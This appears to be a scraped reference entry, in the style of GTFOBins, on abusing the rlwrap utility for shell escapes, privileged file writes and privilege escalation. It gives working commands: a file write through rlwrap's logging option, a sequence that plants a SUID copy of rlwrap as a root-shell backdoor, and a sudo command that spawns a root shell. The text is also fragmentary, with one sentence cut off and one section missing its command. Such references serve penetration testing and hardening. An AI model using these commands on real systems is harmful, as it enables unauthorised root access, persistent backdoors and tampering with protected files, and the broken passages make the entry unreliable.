It can be used to break out from restricted environments by spawning an interactive system shell.
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
This adds timestamps to the output file. This relies on the external
LFILE=file_to_write rlwrap -l "$LFILE" echo DATA
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems
like Debian that allow the default
sh shell to run with SUID privileges.
cp $(which rlwrap) . sudo sh -c 'chown 0 ./rlwrap; chmod +s ./rlwrap' ./rlwrap -H /dev/null /bin/sh -p
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on
sudo rlwrap /bin/sh